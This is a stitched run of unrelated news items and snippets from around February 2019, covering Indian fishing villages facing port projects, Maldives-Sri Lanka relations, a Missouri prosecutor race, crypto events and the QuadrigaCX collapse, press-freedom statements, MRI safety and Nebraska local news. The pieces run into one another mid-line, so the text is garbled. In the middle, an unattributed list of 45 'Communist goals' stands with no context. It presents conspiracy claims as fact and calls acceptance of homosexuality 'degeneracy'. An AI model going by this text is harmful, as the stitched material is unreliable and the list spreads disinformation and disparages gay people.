Since the fishing community has received no guidance on what they should do to sustain themselves, they have come to believe that for the sake of development they should abandon their traditional source of livelihood. I have heard that a port will be built here but that will be in the deep sea and wont affect our work. In fact, our sons will get jobs, says Anil Kumar Borai, secretary of Jaladha Ma Bansholi Matsya Khoti, the other matsya khoti of the region. We are concerned because we may have to leave our homes. Will we get the right price for that? he adds.



There are others who think the port will keep them afloat. If the government builds a port, it will secure us from washing away in the sea. We have seen sand dams being washed away and mechanised trawlers also affect our business. A port will affect affected fishing though, but we have to think of a better future, says Sukumar Bera, a fisherman in Tajpur. Moreover, the women of the region find the port project threatening them existentially. What will we do if the fishing stops? We come from different places and are very poor. We earn whatever we can to support our husbands. The men can go for other jobs on to the port, but we cant. Our families will suffer a lot, says a group of fishing women in the region.



Even if the fishing community manages to keep their work going, the port could give way to a technical issue. The port can either increase the speed of waves or decrease it. We cast nets on wooden rods. If the waves increase, it will uproot the rods and the nets will be ripped apart and if it decreases, the fish will not reach the net. Both ways well suffer, says Pabitra Pradhan, member of Jaladha Ma Bansholi Matsya Khoti.



Haldia: An industrialised fishing town



West Bengal already has one example of what rapid industrialisation does to ports  Haldia. The fishing community in the port city says their income has reduced by one-third since industrialisation started in the region two decades ago. Few people in the community have thought about that side of the story. Bhabani Barui, a fisherwoman in a Tajpur village, says, Ive heard that we may have to leave our homes and it can be true because Haldia villagers also had to. Near-port villages never remain intact. But, fishing is all we know. What else will we do if we are asked to leave and earn through different means? It will be very painful for us.



And now that eight jetties are being planned under the ambitious Sagarmala programme, the fishing community is being threatened even more. Angshuman Midya, president of Rupnarayan Chawk Matsya Obotaran Kendra, says, A water way between Haldia and Varanasi may be made under this project. This will massively impact small-scale fishing business. And, setting up jetties is definitely a threat to us.



Already the youngsters there are migrating to other states and countries. The matsya kothi members say while earlier 80 per cent of fishing labourers were from the village, the number has come down to just 10 per cent now. Saibul Ali, a fisherman busy repairing a boat on the banks of Rupnarayan river, says, We have to pay at least Rs 3 lakh to get a job. Plus, there hasnt been any development in the area at all.



Although Tajpurs port story is just about to begin, its not much different from whats still happening to Haldias fishing community. They too havent been visited by a single official yet to inform them about the jetties. Manju Dolui, a fisherwoman in Haldia, says, We dont know about jetties but if it affects our livelihood we dont want it. But no higher official has ever come to visit us and heard our problems. If this continues, we will be forced to leave our profession



The fishing communities in both coastal regions are suffering from the effects of industrialisation without proper planning, pollution control methods, or the government offering them any way out to a sustainable livelihood.Maldives and Sri Lanka: Must find a way to share ocean territories: Nasheed

by Aishath Shaany

February 13,2019 | Source: Raajje

Former President Mohamed Nasheed has said that Maldives and Sri Lanka "must find a way" to share each other's ocean territories. Speaking at an event held to mark Sri Lanka's 71st Independence Day on Monday night, the former president emphasized that Maldives and Sri Lanka have been "linked in history throughout the ages."



He noted that the countries are "not only linked in culture, language and history, but also in trade and every single manner." He also noted that Sri Lanka's capital, Colombo has the highest number of Maldives and called it Maldives "second biggest city." Nasheed further highlighted the neighboring country's various contributions to the Maldives' development, including tourism, economic and construction sectors.



In addition, the former president noted that more than 40 percent of the fish from Maldives is sold to the Sri Lankan market. However, he noted that there is "still more" scope for both countries to collaborate in the fishing sector and find "markets for each other's fishermen."



He highlighted that this can be done by "sharing each other's ocean territory." "If we open this opportunity to both our fishing communities, I am sure both countries would gain from it. We must get ever closer, the idea has to always be ever closing union, and we must take it on as a project so that we can overcome whatever borders or difference we may have," said Nasheed.



While former president Nasheed was the chief guest at the event held by the Sri Lankan embassy in capital Male City, incumbent President Ibrahim Mohamed Solih was the guest of honour at the Independence Day celebrations held in Colombo on February 4.The Missouri State Auditor's Office does conduct audits of the municipal courts on occasion, but it is my understanding that such an audit is of the court system itself (municipal judge, municipal court clerks, the bookkeeping by the municipal court clerks, etc.), and that such an audit is not an audit of the municipal prosecutor, said McCarver.

McCarver said that such an audit would typically take at least four to six months to complete, and sometimes longer.

Because I worked for the City of Park Hills until mid-December, it would seem unlikely that such an audit was being conducted without my knowledge, as auditors typically will meet with those involved with the court, she explained.

In response to Duffes social media allegations that she has been reprimanded by the local bar for excessive fines, These allegations are false, said McCarver. I have consulted with a number of local defense attorneys about this statement by Ms. Duffe, and they are as surprised as I am by the allegation.

It is concerning that Ms. Duffe cannot just focus on how she is qualified for this elected position, but instead feels the need to attack me with untrue statements. It has been my experience that the citizens are not impressed by a dirty campaign, and unfortunately that is exactly what Ms. Duffe's campaign has become, said McCarver.

Matt McFarland is a reporter for the Daily Journal. He can be reached at 573-518-3616, or at mmcfarland@dailyjournalonline.com.

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.Question: Regarding my posts about the terrible perversion of Torah and halacha that Rav Shmuel Kaminetsky has engineered with his prod...

Important!! email - yadmoshe@gmail.comUnion Minister of Environment, Forest and Climate Change has released a publication titled India  Spearheading Climate Solutions on 12 February, 2019. This document mentions Indias key actions taken towards combating and adapting to climate change.

Indias Key Actions Towards Combating and Adapting Climate Change

Indias National Action Plan on Climate Change (NAPCC) that has eight major missions on Solar, Enhanced Energy Efficiency, Sustainable Habitat, Water, Sustaining the Himalayan Ecosystem, Green India, Sustainable Agriculture and Strategic Knowledge on Climate Change.

International Solar Alliance (ISA)  It is an alliance of 121 countries, most of them sunshine countries (i.e. lying either completely or partly between the Tropic of Cancer and the Tropic of Capricorn). It was founded in 2015 at Paris and was initiated by India. Membership now has been extended to all the members of the United Nations

State Action Plan on Climate Change (SAPCC)

FAME Scheme  It stands for Faster Adoption and Manufacturing of (Hybrid &) Electric Vehicles (FAME-India) Scheme, which was launched in 2015 under the National Electric Mobility Mission Plan (NEMMP). It aims to create the infrastructure for and promote e-mobility.

Atal Mission for Rejuvenation & Urban Transformation (AMRUT) The scheme was launched in the year 2015 and is solely aimed for Smart Cities

(AMRUT) The scheme was launched in the year 2015 and is solely aimed for Smart Cities Pradhan Mantri Ujjwala Yojana  The scheme was launched in 2016. It aims for providing access to clean cooking fuel

UJALA scheme  It stands for Unnat Jeevan by Affordable LEDs and Appliances for All and was started in 2015. Its aim is to embrace energy efficient LED bulbs

Swachh Bharat Mission  It is a nationwide campaign from 2014 to 2019 aiming to clean up India.

National Adaptation Fund for Climate Change (NAFCC)  It was launched in 2015-16 and aims to support robust adaptation techniques to reduce adverse effects of climate change.

Other Initiatives Taken by Government

Apart from the above, Government of India has taken an ambitious goal of generating 175 GW of renewable energy by 2022. India will leapfrog from Bharat Stage -IV to Bharat Stage-VI emission norms by April 2020. Indias renewable energy capacity stands at more than 74 GW today including about 25 GW from solar. Further, India submitted its Second Biennial Update Report (BUR) to UNFCCC (United Nations Framework Convention on Climate Change) in December 2018 as per the reporting obligations under the convention, which stated that Indias GDP came down by 21% between 2005 & 2014. It also stated that Indias climate-goal for pre-2020 is well on track.At the time, all three branches of state government worked together to enact a series of legal reforms. One of those reforms prevented plaintiffs lawyers in medical malpractice cases from shopping around for a court venue. Then in 2003, the Pennsylvania Supreme Court adopted a rule that mirrors one of those reforms, so that medical malpractice cases must be brought in the county where the alleged malpractice occurred.

That venue rule was a success. The number of medical malpractice lawsuits dropped 66 percent in Philadelphia, clearly demonstrating that medical malpractice cases in other counties had been inappropriately misdirected to the Philadelphia.

Now, after years of success and stabilized medical malpractice insurance rates, the court is considering a reversal of its 2003 venue rule. Im having a hard time understanding why suddenly the court is reconsidering a rule that has been so effective. I have not had anyone tell me they are being denied justice under the current venue rule. Given the effectiveness of the 2003 venue rule and the absence of claims of injustice, I can only assume that courts contemplation of a reversal of its venue rule is purely political.The Cumberland County Adult Reentry Program needs volunteers to help ex-offenders who are making the transition from prison back to life in the community.

The program works to reduce recidivism rates and promote safer communities.

CCARP seeks volunteers to mentor ex-offenders and to provide constructive peer relationships that offer positive reinforcements to help them succeed. Mentoring has become a key component in pre-release and re-entry support services by helping people secure housing and employment, obtain official identification, comply with drug and alcohol counseling, and reconnect with family.

Positive peer relationships can make the difference for offenders who are transitioning from prison back to life in the community, said Ashley Rohm, re-entry coordinator. Proper re-entry is vital in reducing recidivism rates for individuals who have been incarcerated.

An informational session to learn more about the program is scheduled for 6 to 8 p.m. Feb. 28 in the Jury Assembly Room, 3rd Floor of the Cumberland County Courthouse, for interested volunteers. Training will be held from 6 to 8 p.m. March 7 at the same location.

For more information or to volunteer, contact Rohm at 717-240-6522 or arohm@ccpa.net.

Email Tammie at tgitt@cumberlink.com. Follow her on Twitter @TammieGitt.

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Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.Another aspect of my trips to all 10 counties included many visits to small businesses.

Whether it was Sheetz, Volvo or Altoona Pipe and Steel, I wanted to meet with as many job creators as possible so I could understand what type of pro-growth legislation I should take up in my new post on the House Committee on Small Business. A better road map for some of the regulations we need to repeal and trade deals we need to make is something I have certainly come away with during the last month.

But the work I have been able to do so far has not just been confined to the district  I have also acted on some bipartisan issues in Washington as well.

On Jan. 30 I partnered with Anthony Brindisi (D-NY) on letter to the U.S. Food and Drug Administration Commissioner (FDA) urging the agency to enforce regulations regarding the proper labeling of dairy products. For far too long dairy farmers in PA-13 have been struggling because plant-based imitators have falsely labeled their products as milk. Stricter enforcement of milk labeling will give consumers proper nutritional information and will help revive the dairy industry.Author: Sherry Knowlton

Where the author lives: Newville

Title of book: Dead of Winter

Description:

Dead of Winter is the fourth novel in the Alexa Williams suspense series, which is set in Southcentral Pennsylvania. In Dead of Winter, Knowlton explores current hot-button issues like prejudice, acceptance of refugees and the definition of terrorism. The parallel historical plot focuses on John Browns pre-Civil War raid on Harpers Ferry and its relevance to todays fractured America.

From the minute gutsy heroine Alexa Williams and her friends drone flight spots a dead body in a remote Pennsylvania field, she gets drawn into danger  until, one dark night in the dead of winter, she must race to stop an attack that could kill hundreds of innocent people. If Alexa fails, she could lose everyone she loves.

Dead of Winter is available on Feb. 19 in print or Kindle editions. It can be purchased at most online retailers and bookstores including Whistlestop Bookshop, Mechanicsburg Mystery Bookshop, Sunbury Press, Barnes and Noble and Amazon.Disclaimer: The text below is a press release that was not written by Cryptonews.com.

_____________________________________________________________________________

Sweden and the Nordics is home to an innovative start-up environment and a strong blockchain and crypto community. The Stockholm Blockchain Forum taking place on April 11th has now confirmed Jimmy Zhao from the recently launched crypto exchange ZBX to speak at the event. Although headquartered in Malta, ZBX is one of the few exchanges with a presence in Stockholm.

On the 11th of April, Techbook is organising the first Stockholm Blockchain Forum at the Stockholm International Affairs in Alvsjo. The event is bringing together blockchain experts from across the globe to network, forge new business relationships and educate traditional industries on how to implement blockchain technologies. The event is designed along the lines of an online forum brought into a physical space, a concept championed by the former CEO of Optimizer Invest, Carla Maree Vella.

What we are trying to do is to play a bit on the word forum. As we know in the world of the interwebs, a forum is where people communicate and share information and thoughts. A lot of the conferences I visited last year were very much one-way communication-style. The idea here is to be able to not only to listen to panels and keynotes, but to strategically involve delegates in the discussions through structured networking events and specialised exercises to pull questions out of the audience and have an expert panel discuss those topics, says Carla Maree Vella.

The Stockholm Blockchain Forum is now announcing that Jimmy Zhao, Co-Founder and CMO of the recently launched cryptocurrency exchange ZBX will be speaking at the forum. ZBX, along with BTCX, is one of the few cryptocurrency exchanges with an office in Stockholm. Headquartered out of Malta, ZBX is also one among the first exchanges with plans on applying for a license to list Security Token Offerings (STOs).

"I am delighted to join the stage at the Stockholm Blockchain Forum to delve deep into the complexities of the current market for cryptocurrency exchanges. Being based out of Stockholm myself, I hope to see many international guests joining us in this Nordic hub of innovation to partake in this forum," says Jimmy Zhao commenting upon his participation at the Stockholm Blockchain Forum.

The speaker line-up also includes prominent names such as Cherie Aimee, ranked as the sixth most influential woman in blockchain across the globe; Christian Ander, the Founder of BTCX and the initiator of the Swedish Riksbank digital currency project E-krona; Henrik Hjelte, Co-Founder at ChromaWay which is collaborating with the Swedish government to put property ownership registries on a blockchain; Aurore Belfrage, tech entrepreneur, political advisor and investor; as well as Frank Schuil at Safello, Sebastian Markowsky at GP Bullhound, On Yavin at Cointelligence, and Raoul Stubbe at Single Technologies among others.

The agenda of the one-day conference features the topics Regulation, DAOs and Decentralized Governance, Banking and Blockchain, Centralised vs Decentralized Exchanges, Investing in Blockchain, Blockchain Applied to Business as well as a number of Thought Leader interviews. Companies are also welcome to present their own case study of a successful blockchain implementation during a one-hour session. The eve before the event is cordially inaugurated with a sponsored C-level dinner organised by the strategic partner Malta AI & Blockchain Summit.

Delegates are expected to learn how blockchain can be implemented into particular business cases, in what ways it can be used to enhance customer and supplier relationships, ROI and operational efficiency, as well as the current status of the technology, regulation, feasibility of adoption and integration requirements.

The Stockholm Blockchain Forum is a must-go for anyone who wish to dive deeper into the actual use cases of blockchain and network with C-Suite professionals as well as some of the most innovative start-ups in the field.

Info: http://stockholmblockchainforum.com/Source: iStock/sturti

There has been a bizarre twist in the ongoing Canadian crypto exchange QuadrigaCX case  with the company inadvertently transferring 103 bitcoins (around USD 369,000) from hot wallets into inaccessible cold wallets just hours after a court-appointed monitor had located it.

The Vancouver Sun states that Ernst & Young  the financial firm tasked with monitoring QuadrigaCX after the exchange was placed into administration last week  made the startling revelation in a report issued on February 12.

Per the report, Ernst & Young successfully located over USD 680,000 worth of Bitcoin, Litecoin and Ethereum in hot wallets on February 5, but something went wrong the very next day  with QuadrigaCX inadvertently moving 103 BTC into cold wallets that the monitor cannot access.

The report continues, The monitor is working with [QuadrigaCX] management to retrieve this cryptocurrency from the various cold wallets, if possible. The monitor has made arrangements to transfer the remaining cryptocurrency into a cold wallet that will be retained by the monitor.

And according to the report, deceased CEO Gerald Cottens encrypted laptop may not be the only electronic device that could contain vital clues to the case.

The Canadian court that has placed QuadrigaCX into administration has been handed two active laptops, two older model laptops, two active cellphones, two dead cellphones and three encrypted USB flash drives, and will also seek to seize a desktop device from Cottens home office.

Many had expected that the keys to the cold wallets would be found on the encrypted laptop already in the courts possession. According to Cottens widow, only the CEO had access to the laptop in question.

The exchange has been attempting to address major problems with liquidity after the reported death of the CEO, who appears to have died with the access codes to 115,000 wallets that supposedly hold some USD 190 million, rendering the wallets inaccessible.

The exchange, which is Canadas largest, also appears to have major debt issues, with allegations of foul play also footed at the company. As previously reported on Cryptonews.com, one Reddit has user claimed that several wallets had initiated transactions soon after the QuadrigCX case had hit the news.

Researchers at Zerononcense have also claimed they have traced cryptocurrency transfers from at least 31 customer wallets to company-owned accounts.

As many experts have stressed, crypto users should keep their private keys to their coins offline, e.g. in hardware wallets such as Ledger, Trezor, KeepKey and others.Share this: Twitter

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Bangkok, February 13, 2019The Committee to Protect Journalists today condemned the decision by a Thai media regulator to suspend the broadcasting license of Voice TV for 15 days and called on the countrys military government to allow all media to report freely on the nations politics.

The Thai National Broadcasting and Telecommunications Commission announced yesterday that the suspension, which began today, came in response to Voice TV programs that caused public confusion and incited conflict, according to the Bangkok Post daily newspaper.

A senior Voice TV journalist told CPJ that the stations editors had expected the ban in a heated election campaign season, and would file for an injunction against the suspension at the administrative court tomorrow morning. Thailand is scheduled to hold new elections on March 24, returning the country to democratic governance after nearly five years of military rule.

Voice TV is owned by Panthongtae Shinawatra, the son of former Prime Minister Thaksin Shinawatra; it is aligned with the Pheu Thai party, which was ousted in the countrys 2014 military coup and is competing in the upcoming elections, according to news reports.

Thailands elections will not be seen as free and fair if the military government continues to censor the media for reporting on politics, said Shawn Crispin, CPJs senior Southeast Asia representative. Media regulators should immediately lift their suspension of Voice TV and allow all media to report freely.

The senior Voice TV journalist, who requested anonymity because he was not authorized to speak to the media, said Voice TV would continue to disseminate news by live-streaming on its website and on Facebook.

In a statement protesting the suspension, Voice TV announced that it will take legal action against the National Broadcasting and Telecommunications Commission and will file an appeal to the Constitutional Court.

The broadcaster will seek 100 million baht ($3.2 million) in compensation from the commission over this suspension and previous moves to shutter the station in 2014 and 2017, and the suspensions of individual news programs on 17 separate occasions since the 2014 coup, according to The Nation newspaper.

The commission did not immediately reply to CPJs request for comment.

Authorities previously shuttered the station for nearly a month after the 2014 coup and again for a week in 2017, CPJ reported. Voice TV has been ordered to remove critical news programs and specific journalists since the coup, as CPJ and local media have covered.Share this: Twitter

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New York, February 13, 2019The board of directors of the Committee to Protect Journalists passed the following resolution in support of Philippine journalist Maria Ressa, executive editor and founder of critical news website Rappler, after she was arrested today in Manila:

Freedom of the press is an essential pillar of democracy and human rights. The arrest in the Philippines of Maria Ressa, founder and executive editor of the news website Rappler, is an alarming development. CPJs board strongly condemns her arrest and calls on the government to immediately release Ressa, drop all charges against her and Rappler, restore official press credentials to Rapplers reporters, and cease its campaign of harassment.

The CPJ board, comprised of prominent journalists, passed the rare resolution at a meeting today at the organizations New York headquarters.

The arrest of Maria Ressa is an outrage, said CPJ Board Chair Kathleen Carroll. She should be freed immediately and the Philippines government needs to cease its multi-pronged attack on Rappler, its talented leader, and its brave staff.

Ressa, a veteran editor and former CNN journalist, was arrested on charges of cyber libel for a story published in May 2012 about local businessman Wilfredo Keng. The move is the latest in a series of attempts by the government to silence the critical news outlet, according to CPJ research.

In November 2018, CPJ sent an open letter to Philippine Prosecutor General Richard Anthony Fadullon calling on him to stop his departments legal persecution of Rappler and Ressa. In December, CPJ partnered with First Look Medias Press Freedom Defense Fund to launch a legal defense fund for journalists, of which Rappler is the first recipient. Ressa also joined CPJ at the 2018 Chatham House Awards in London, where she spoke passionately about the importance of a free press.

CPJ honored Ressa with the 2018 Gwen Ifill Press Freedom Award at its annual International Press Freedom Award ceremony in New York City in November. CPJ board member Sheila Coronel presented the award.

###

CPJ is an independent, nonprofit organization that works to safeguard press freedom worldwide.WEDNESDAY, Feb. 13, 2019 (HealthDay News) -- If you have tattoos, it's probably safe to get an MRI scan, European researchers say.

While millions of people with tattoos have MRIs every year without side effects, some adverse reactions have been reported. Researchers said there had been no systematic studies of how safe it is for people with tattoos to have an MRI.

Reported side effects include a pulling sensation on tattooed skin because tattoo ink can contain pigments that are magnetic and interact with the MRI's strong magnetic fields. Tattoos may also absorb energy that would ordinarily be spread out, increasing burn risk, according to study researcher Nikolaus Weiskopf. He's director of the Max Planck Institute for Human Cognitive and Brain Sciences in Leipzig, Germany.

Weiskopf and study authors from University College London examined 330 volunteers before and after an MRI, testing 932 tattoos in all.

Volunteers sported various colors of ink, but most tattoos were black. To ensure participants' safety from potential burns, there were limits on the size and number of tattoos. A single tattoo could not exceed about 8 inches in size, and no more than 5 percent of a volunteer's body could be tattooed.

The majority of participants noticed no side effects, Weiskopf said in an institute news release.

"There was one specific case where the study doctor found that side effects -- a tingling sensation on the skin -- were related to scanning," he noted. The tingling disappeared within 24 hours without medical treatment.

"Based on our investigations, we can now state, on the basis of meaningful numbers, that if a tattooed individual is scanned under the conditions tested in the study, the risk of side effects is very small," Weiskopf concluded.

The findings were recently published as a letter in The New England Journal of Medicine.

More information

The American Academy of Family Physicians has more on MRI scans.



1. U.S. acceptance of coexistence as the only alternative to atomic war.

2. U.S. willingness to capitulate in preference to engaging in atomic war.

3. Develop the illusion that total disarmament of the United States would be a demonstration of moral strength.

4. Permit free trade between all nations regardless of Communist affiliation and regardless of whether or not items could be used for war.

5. Extension of long-term loans to Russia and Soviet satellites.

6. Provide American aid to all nations regardless of Communist domination.

7. Grant recognition of Red China. Admission of Red China to the U.N.

8. Set up East and West Germany as separate states in spite of Khrushchev's promise in 1955 to settle the German question by free elections under supervision of the U.N.

9. Prolong the conferences to ban atomic tests because the United States has agreed to suspend tests as long as negotiations are in progress.

10. Allow all Soviet satellites individual representation in the U.N.

11. Promote the U.N. as the only hope for mankind. If its charter is rewritten, demand that it be set up as a one-world government with its own independent armed forces. (Some Communist leaders believe the world can be taken over as easily by the U.N. as by Moscow. Sometimes these two centers compete with each other as they are now doing in the Congo.)

12. Resist any attempt to outlaw the Communist Party.

13. Do away with all loyalty oaths.

14. Continue giving Russia access to the U.S. Patent Office.

15. Capture one or both of the political parties in the United States.

16. Use technical decisions of the courts to weaken basic American institutions by claiming their activities violate civil rights.

17. Get control of the schools. Use them as transmission belts for socialism and current Communist propaganda. Soften the curriculum. Get control of teachers' associations. Put the party line in textbooks.

18. Gain control of all student newspapers.

19. Use student riots to foment public protests against programs or organizations which are under Communist attack.

20. Infiltrate the press. Get control of book-review assignments, editorial writing, policymaking positions.

21. Gain control of key positions in radio, TV, and motion pictures.

22. Continue discrediting American culture by degrading all forms of artistic expression. An American Communist cell was told to "eliminate all good sculpture from parks and buildings, substitute shapeless, awkward and meaningless forms."

23. Control art critics and directors of art museums. "Our plan is to promote ugliness, repulsive, meaningless art."

24. Eliminate all laws governing obscenity by calling them "censorship" and a violation of free speech and free press.

25. Break down cultural standards of morality by promoting pornography and obscenity in books, magazines, motion pictures, radio, and TV.

26. Present homosexuality, degeneracy and promiscuity as "normal, natural, healthy."

27. Infiltrate the churches and replace revealed religion with "social" religion. Discredit the Bible and emphasize the need for intellectual maturity which does not need a "religious crutch."

28. Eliminate prayer or any phase of religious expression in the schools on the ground that it violates the principle of "separation of church and state."

29. Discredit the American Constitution by calling it inadequate, old-fashioned, out of step with modern needs, a hindrance to cooperation between nations on a worldwide basis.

30. Discredit the American Founding Fathers. Present them as selfish aristocrats who had no concern for the "common man."

31. Belittle all forms of American culture and discourage the teaching of American history on the ground that it was only a minor part of the "big picture." Give more emphasis to Russian history since the Communists took over.

32. Support any socialist movement to give centralized control over any part of the culture--education, social agencies, welfare programs, mental health clinics, etc.

33. Eliminate all laws or procedures which interfere with the operation of the Communist apparatus.

34. Eliminate the House Committee on Un-American Activities.

35. Discredit and eventually dismantle the FBI.

36. Infiltrate and gain control of more unions.

37. Infiltrate and gain control of big business.

38. Transfer some of the powers of arrest from the police to social agencies. Treat all behavioral problems as psychiatric disorders which no one but psychiatrists can understand.

39. Dominate the psychiatric profession and use mental health laws as a means of gaining coercive control over those who oppose Communist goals.

40. Discredit the family as an institution. Encourage promiscuity and easy divorce.

41. Emphasize the need to raise children away from the negative influence of parents. Attribute prejudices, mental blocks and retarding of children to suppressive influence of parents.

42. Create the impression that violence and insurrection are legitimate aspects of the American tradition; that students and special-interest groups should rise up and use united force to solve economic, political or social problems.

43. Overthrow all colonial governments before native populations are ready for self-government.

44. Internationalize the Panama Canal.

45. Repeal the Connally reservation so the United States cannot prevent the World Court from seizing jurisdiction over nations and individuals alike.U.S. Representative Ilhan Omar (D-MN) participates in a news conference to call on Congress to cut funding for ICE (Immigration and Customs Enforcement), at the U.S. Capitol in Washington, U.S. February 7, 2019. (photo credit: JONATHAN ERNST / REUTERS)

Congresswoman Ilhan Omar will be a keynote speaker at an Islamic Relief USA emergency fundraising dinner for Yemen in Tampa, Florida, on February 23.



Omar will be speaking alongside a well-known Islamic Relief USA official, Yousef Abdallah, who has advocated for violence against Jews and has shared antisemitic sentiments on his social media pages.

The Middle East Forums Islamist Watch blog highlighted this address, and reported several instances in which Abdallah posted or shared stories of incitement. This includes his captioning and sharing a very beautiful [folk] story about martyrs who provide guns to kill more than 20 Jews and fire rockets at Tel Aviv.

In addition, the forum also found that he had referred to Jews as stinking, and had claimed that the Jews set the outside wall of al-Aqsa [mosque in Jerusalem] on fire.

Abdallah also liked a comment on one of his Facebook posts that called on God to wreak revenge on the damned rapists Zionists... Shake the Earth beneath their feet and destroy them as you destroyed the peoples of Ad, Thamud and Lot.

Islamic Relief has been found to have connections to funding terrorism and Islamic extremism. A Swedish government report named it as a front for the Muslim Brotherhood; the Tunisian government is reported to have investigated allegations that Islamic Relief was funding jihadists on the Libyan border; and members of the US Congress have launched an inquiry into a reported FBI and IRS investigation of Islamic Reliefs activities.

The announcement of Omars speaking engagement comes just days after the congresswoman, a famed Boycott, Divestment and Sanctions (BDS) supporter, pointed an accusatory finger at the American Israel Public Affairs Committee (AIPAC), saying the organization is paying American politicians to be pro-Israel.

Omars comments erupted a Twitter hurricane with leaders on the Right and Left condemning her remarks. Even her own Democratic Party issued a statement in which it called Omars statements deeply offensive. We condemn these remarks.

House Speaker Nancy Pelosi reported on Twitter that she and Omar had spoke and agreed that we must use this moment to move forward as we reject antisemitism in all forms.



On Monday, the Union for Reform Judaisms President Rabbi Rick Jacobs condemned the tweet, saying that in the strongest terms Rep. @IlhanMNs tweets trafficking in stereotypes about Jews, money, and political power.

These tropes have for generations been at the core of acts of hate directed at the Jewish community, he continued. To see such sentiments expressed by a member of Congress is shameful, and they cannot be allowed to go unanswered. I welcome the statements from congressional leaders and others who have condemned her tweets.



He added that moving forward, I urge Rep. @IlhanMN to engage with members of the Minnesota Jewish community, as well as with national Jewish leaders, to explore the pain her words have caused and the impact of perpetuating anti-Semitic themes.

Also commenting on the matter, left-wing Jewish organization JStreet said in a statement that elected officials should be particularly sensitive and careful on the question of the role played by campaign contributions in influencing US policies toward Israel and the Middle East.

There is no doubt that money often plays a major role in our political system, the organization said. At the same time, elected officials must be extremely aware that tropes about Jewish money and political influence have been used for centuries to target and stigmatize our community.

The Jerusalem-based media watchdog, HonestReporting, invited Omar to join a mission to see the real Israel.



In an open Twitter letter, HonestReporting asked Omar to visit our country for yourself.

Its unfortunately no surprise to see young people, elected representatives included, make false allegations and misleadingly depict Israel and its connections to American and world Jewry, when they themselves have been exposed to biased narratives in the media, said HonestReportings executive director Daniel Pomerantz. The best way to counteract this is by inviting people to visit the country and see it for themselves.

The HonestReporting mission will run May 27 through June 3. Participants will tour Israel and meet with Jewish and Arab leaders.

Even US President Donald Trump got into the discussion. En route to El Paso for his Make America Great Again rally on Monday, the president slammed Omar. She should be ashamed of herself, Trump said, in a statement published by USA Today. I think it was a terrible statement.

Omar apologized for her tweet soon after posting it.

Antisemitism is real, and I am grateful for Jewish allies and colleagues who are educating me on the painful history of antisemitic tropes, Omar posted on the social media site. My intention is never to offend my constituents or Jewish Americans as a whole.

She then said she stood behind her comment regarding the problematic role of lobbyists in our politics, whether it be AIPAC, NRA or the fossil fuel industry.

Trump called Omars apology inadequate.



On Tuesday, the US president called on Omar to resign, saying she should either resign from Congress or she should certainly resign from the House Foreign Affairs Committee.

Jerusalem Post Staff contributed to this storyIn 1990, the Legislature passed LB 1059 which created the school aid formula known as the Tax Equity and Educational Opportunities Support Act (TEEOSA). With this bill, the Legislature raised the sales and income tax over the veto of Governor Kay Orr. This did not reduce property taxes, which continued to increase in the following years.

Subsequent attempts to achieve property tax relief have continued to involve the TEEOSA formula. For example in 1998, the Legislature increased state aid through TEEOSA by about $125 million, or a 27 percent increase. In 1999, property taxes still went up about $48 million. In 2005, the Legislature boosted state aid another $70 million, or 10 percent in one year. In 2006, property taxes went up $161 million statewide.

These are just a few of the examples of how previous Governors, Legislatures, and the people of Nebraska have tried to address our high property taxes. These approaches, which are well-intentioned, have not ultimately delivered long-term relief. From 1980 to 2018, the amount of property taxes levied by local governments has increased from about $700 million to over $4 billion, or about 5 percent annually on average.Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}}

Rich Schmidt is a facility manager at Vishay, located right along 23rd in Columbus. He attended the event with concerns of how the construction would affect people coming to and from work.

Just trying to see what they got planned, whats going on as far as how theyre going to shut it down so our employees can come and go, Schmidt said. Its good that they're keeping us informed, (but) its not going to be fun when it happens.

The Columbus City Council decided to invest $500,000 from the city's general fund toward streetscaping in the same vicinity while the NDOT project is happening. Representatives for the beautification project were also present at the open house. Don Dressen and his wife, Kathy Dreesen, are in the real estate business. The couple attended the open house and said 23rd Street would greatly benefit from beautification work (Don has participated in the planning meetings for the streetscaping effort).

Its an embarrassment, that street always has been, Don Dressen said about the current state of 23rd Street. Its really something that needs to be done to beautify that street when you come into town  make people decide to live here who otherwise wouldnt."Garrett said that she was aware of the Nance County warrant, however, she said she didn't know anything about the Platte County charge.

I have no idea when that was issued, she said of the Platte County warrant regarding the alleged sexual assault. Whether before or after his disappearance, I dont see my son doing that. But, he was involved with drugs so it could be  I just dont know if he did that. But, it makes him look guilty that he ran. Im not going to beat around the bush.

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Voecks, 22, was taken into custody by U.S. Marshal's Service agents on Monday. Leading up to his arrest, investigators with the Nebraska State Patrol had been following numerous leads since he was reported missing last year, according to released information from the NSP.

The U.S. Marshal's Service office in Sioux City, Iowa, was contacted, and with the assistance from the U.S. Marshal's offices out of Omaha and Denver, Voecks was located Monday in Colorado and arrested on the two warrants.

As of Tuesday, Voecks was in custody in Colorado awaiting extradition to Nebraska. Garrett said that she was told Monday evening that the extradition time frame was dependent on whether her son fought extradition.Just the outpouring of support and referrals has been wonderful. We have been able to help so many people, Lawrence said. I think that were providing individuals with help that they would not be able to find otherwise. And not because there aren't wonderful attorneys in the Columbus area, but because maybe they dont have the means to afford to go to a private attorney.

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Legal Aid of Nebraska is a statewide organization that has been providing legal services to those in need for more than 50 years. Ann Mangiameli is the managing attorney in charge of HELP statewide. After launching in Omaha in 2009 and a recent expansion to hospitals in Lincoln, the addition of medical providers in Columbus marks the program's first expansion to a rural area. So far, Mangiameli said it has been well received in Columbus.

This is a service that not only helps the patient but helps the hospital, Mangiameli said. It's been wonderful because the Columbus community has really embraced us.

Theresa Hilton, director of patients and outreach services for CCH, said the program was a win-win for both the hospital and Legal Aid. She said its another resource available to its patients that is greatly appreciated.Columbus Area Chamber members and staff spent two days in Lincoln last week, meeting with legislators, leaders and other Chamber reps from across the state.

Once again we attended the State Chamber annual meeting and legislative caucus. It is always an opportunity to catch up on the work being done by the Unicameral and this year we also got some insight into federal issues.

On the statewide level, Speaker Scheer and two key committee chairs participated on a panel. The speaker said the Unicameral is off to a smoother start than two years ago, which he attributes simply to more trusting relationships among the Senators.

He said term limits have increased the urgency felt by individual senators, which has hurt their ability to look at changes gradually. One other big change he lifted up was the shift of population to metro areas. As he put it, Omaha and Lincoln can now get whatever they want if they work together. Hopefully, all of the senators work toward solutions that benefit the entire state, but that is still a fact that bears watching in greater Nebraska.

